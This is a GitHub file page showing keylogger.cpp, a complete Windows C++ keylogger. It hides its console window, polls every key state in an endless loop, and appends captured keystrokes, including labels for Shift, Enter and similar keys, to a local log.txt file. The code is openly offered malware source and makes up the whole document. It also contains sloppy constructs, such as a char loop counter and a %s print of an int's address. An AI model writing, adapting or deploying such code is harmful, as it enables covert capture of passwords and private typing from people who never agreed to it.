-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.cpp
More file actions
57 lines (51 loc) · 1.53 KB
/
Copy pathkeylogger.cpp
File metadata and controls
57 lines (51 loc) · 1.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key, const char *file);
int main(){
FreeConsole();
char i;
while(true) {
Sleep(10);
for(i=8; i<=255; i++) {
if(GetAsyncKeyState(i)== -32767){
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, const char *file) {
cout<< _key << endl;
Sleep(10);
FILE *OUTPUT_FILE; // can also use the ofstream command
OUTPUT_FILE = fopen(file, "a+"); //a+ is used to add new keys each time, and not overwrite
switch(_key)
{
case VK_SHIFT: fprintf(OUTPUT_FILE, "[SHIFT]");
break;
case VK_BACK: fprintf(OUTPUT_FILE, "[BACKSPACE]");
break;
case VK_LBUTTON: fprintf(OUTPUT_FILE, "[LBUTTON]");
break;
case VK_RBUTTON: fprintf(OUTPUT_FILE, "[RBUTTON]");
break;
case VK_RETURN: fprintf(OUTPUT_FILE, "[ENTER]");
break;
case VK_TAB: fprintf(OUTPUT_FILE, "[TAB]");
break;
case VK_ESCAPE: fprintf(OUTPUT_FILE, "[ESCAPE]");
break;
case VK_CONTROL: fprintf(OUTPUT_FILE, "[Ctrl]");
break;
case VK_MENU: fprintf(OUTPUT_FILE, "[Alt]");
break;
case VK_CAPITAL: fprintf(OUTPUT_FILE, "[CAPS Lock]");
break;
case VK_SPACE: fprintf(OUTPUT_FILE, "[SPACE]");
break;
}
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}